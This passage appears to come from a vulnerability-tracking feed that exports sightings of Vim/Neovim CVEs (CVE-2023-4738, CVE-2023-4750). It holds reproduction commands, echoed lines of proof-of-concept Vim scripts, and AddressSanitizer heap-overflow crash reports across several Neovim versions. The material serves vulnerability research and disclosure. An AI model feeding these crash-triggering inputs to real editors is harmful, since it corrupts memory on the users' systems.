do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #22 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n #23 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n #24 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n #25 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #26 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #27 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n #28 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n #29 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n #30 0x7fd5f4583082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #31 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2912:10 in f_fullcommand\n==37683==ABORTING", "creation_timestamp": "2026-09-06T13:52:32.332477Z"} 2026-09-06T13:52:32.332477+00:00 https://vulnerability.circl.lu/sighting/8bf6d2fa-c4f1-44ca-8ac1-8f1a834c14e1/export 2026-09-17T10:26:47.076217+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "8bf6d2fa-c4f1-44ca-8ac1-8f1a834c14e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4738", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/ebb148dcc15cb4185e6157b43b76544a", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nExecuting: aunmenu *\n\nExecuting: vnoremenu PopUp.Cut \"+x\n\nExecuting: vnoremenu PopUp.Copy \"+y\n\nExecuting: anoremenu PopUp.Paste \"+gP\n\nExecuting: vnoremenu PopUp.Paste \"+P\n\nExecuting: vnoremenu PopUp.Delete \"_x\n\nExecuting: nnoremenu PopUp.Select\\ All ggVG\n\nExecuting: vnoremenu PopUp.Select\\ All gg0oG$\n\nExecuting: inoremenu PopUp.Select\\ All VG\n\nExecuting: anoremenu PopUp.-1- \n\nExecuting: anoremenu PopUp.How-to\\ disable\\ mouse help disable-mouse\n\nExecuting: \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',5).'Z', repeat('0',60)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==34842==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000d04 at pc 0x0000004cc7ee bp 0x7ffdf49c64b0 sp 0x7ffdf49c5c70\nWRITE of size 101 at 0x60b000000d04 thread T0\n #0 0x4cc7ed in strcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4cc7ed)\n #1 0x9a0a88 in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1759:9\n #2 0x9a2102 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1696:16\n #3 0x73d595 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3945:17\n #4 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n #5 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #6 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #7 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #8 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n #9 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n #10 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n #11 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #12 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #13 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #14 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n #15 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n #16 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n #17 0x7fa3ced06082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #18 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x60b000000d04 is located 0 bytes to the right of 100-byte region [0x60b000000ca0,0x60b000000d04)\nallocated by thread T0 here:\n #0 0x4e06ad in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e06ad)\n #1 0x8a067a in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:88:15\n #2 0x8a07a8 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:15\n #3 0x740268 in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3168:18\n #4 0x73d4ed in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3931:21\n #5 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n #6 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #7 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #8 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #9 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n #10 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n #11 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n #12 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #13 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #14 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #15 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n #16 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n #17 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n #18 0x7fa3ced06082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4cc7ed) in strcpy\nShadow bytes around the buggy address:\n 0x0c167fff8150: fa fa fd fd fd fd fd fd fd fd fd fd fd fd fd fa\n 0x0c167fff8160: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00\n 0x0c167fff8170: 00 00 00 00 05 fa fa fa fa fa fa fa fa fa fd fd\n 0x0c167fff8180: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa\n 0x0c167fff8190: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x0c167fff81a0:[04]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c167fff81b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c167fff81c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c167fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c167fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c167fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n Shadow gap: cc\n==34842==ABORTING\n\n\nCommand:\n./nvim-0.6.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',5).'Z', repeat('0',60)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==34935==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000db4 at pc 0x0000004c27ce bp 0x7ffebca70030 sp 0x7ffebca6f7f0\nWRITE of size 101 at 0x60b000000db4 thread T0\n #0 0x4c27cd in strcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4c27cd)\n #1 0xd36dae in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:6709:9\n #2 0xd395ca in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:6662:16\n #3 0x8cb9fe in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4098:17\n #4 0x8c4c80 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n #5 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n #6 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n #7 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n #8 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n #9 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n #10 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n #11 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n #12 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n #13 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n #14 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n #15 0x7f60d5742082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #16 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x45df4d)\n\n0x60b000000db4 is located 0 bytes to the right of 100-byte region [0x60b000000d50,0x60b000000db4)\nallocated by thread T0 here:\n #0 0x4d668d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4d668d)\n #1 0xb5ef62 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n #2 0xb5f124 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n #3 0x8d31ad in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3346:18\n #4 0x8cb7b4 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4085:21\n #5 0x8c4c80 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n #6 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n #7 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n #8 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n #9 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n #10 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n #11 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n #12 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n #13 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n #14 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n #15 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n #16 0x7f60d5742082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4c27cd) in strcpy\nShadow bytes around the buggy address:\n 0x0c167fff8160: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd\n 0x0c167fff8170: fd fd fd fd fd fa fa fa fa fa fa fa fa fa 00 00\n 0x0c167fff8180: 00 00 00 00 00 00 00 00 00 00 05 fa fa fa fa fa\n 0x0c167fff8190: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c167fff81a0: fd fa fa fa fa fa fa fa fa fa 00 00 00 00 00 00\n=>0x0c167fff81b0: 00 00 00 00 00 00[04]fa fa fa fa fa fa fa fa fa\n 0x0c167fff81c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c167fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c167fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c167fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c167fff8200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n Shadow gap: cc\n==34935==ABORTING\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',5).'Z', repeat('0',60)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==34975==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000e64 at pc 0x0000004b35de bp 0x7ffd4e634490 sp 0x7ffd4e633c50\nWRITE of size 101 at 0x60b000000e64 thread T0\n #0 0x4b35dd in strcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4b35dd)\n #1 0xb8aac3 in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:6618:9\n #2 0xb8d167 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:6575:16\n #3 0x7b951d in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3811:17\n #4 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n #5 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n #6 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n #7 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n #8 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n #9 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n #10 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n #11 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n #12 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n #13 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n #14 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n #15 0x7fd795e41082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #16 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x60b000000e64 is located 0 bytes to the right of 100-byte region [0x60b000000e00,0x60b000000e64)\nallocated by thread T0 here:\n #0 0x4c749d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c749d)\n #1 0x9db0d2 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:87:15\n #2 0x9db2a4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:15\n #3 0x7c017d in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3085:18\n #4 0x7b9314 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3799:21\n #5 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n #6 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n #7 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n #8 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n #9 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n #10 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n #11 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n #12 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n #13 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n #14 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n #15 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n #16 0x7fd795e41082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4b35dd) in strcpy\nShadow bytes around the buggy address:\n 0x0c167fff8170: fd fd fd fd fd fa fa fa fa fa fa fa fa fa fd fd\n 0x0c167fff8180: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa\n 0x0c167fff8190: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00\n 0x0c167fff81a0: 05 fa fa fa fa fa fa fa fa fa fd fd fd fd fd fd\n 0x0c167fff81b0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa\n=>0x0c167fff81c0: 00 00 00 00 00 00 00 00 00 00 00 00[04]fa fa fa\n 0x0c167fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c167fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c167fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c167fff8200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c167fff8210: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n Shadow gap: cc\n==34975==ABORTING", "creation_timestamp": "2026-09-06T13:36:04.016280Z"} 2026-09-06T13:36:04.016280+00:00 https://vulnerability.circl.lu/sighting/c5a77d1e-e994-4bdb-9c39-44799f569f2a/export 2026-09-17T10:26:47.076457+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "c5a77d1e-e994-4bdb-9c39-44799f569f2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4750", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/9c26aedbdc7873ec09c6c4d833701a83", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting: aunmenu *\n\nExecuting: vnoremenu PopUp.Cut \"+x\n\nExecuting: vnoremenu PopUp.Copy \"+y\n\nExecuting: anoremenu PopUp.Paste \"+gP\n\nExecuting: vnoremenu PopUp.Paste \"+P\n\nExecuting: vnoremenu PopUp.Delete \"_x\n\nExecuting: nnoremenu PopUp.Select\\ All ggVG\n\nExecuting: vnoremenu PopUp.Select\\ All gg0oG$\n\nExecuting: inoremenu PopUp.Select\\ All VG\n\nExecuting: anoremenu PopUp.-1- \n\nExecuting: anoremenu PopUp.How-to\\ disable\\ mouse help disable-mouse\n\nExecuting: \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: set noautoread\n\nline 2: comman!-narg=* Xexpr lex\n\nline 3: auto BufReadPre * exe\"sn\" ..expand(\"\") \n\nline 4: fu Xautocmd_changelist(cchar)\n\nline 9: call Xautocmd_changelist('c')\n\ncalling Xautocmd_changelist('c')\n\nline 1: cal writefile(['Xtestfile2:4:4'],'Xerr')\n\nline 2: edi Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe\"sn\" ..expand(\"\") \n\nExecuting: exe\"sn\" ..expand(\"\") \n\nExecuting: sn1\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting: unlet! b:keymap_name\n\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/CVE-2023-4750_nvim[9]..function Xautocmd_changelist:\nline 2:\nE201: *ReadPre autocommands must not change current buffer\nline 3: Xexpr'Xtestfil\ufffd2:4:4'\n\nline 3: lex'Xtestfil\ufffd2:4:4'\n\nline 3: unlet! b:keymap_name\n\n(1 of 1): 4\nXautocmd_changelist returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/CVE-2023-4750_nvim\n\nline 10: cal 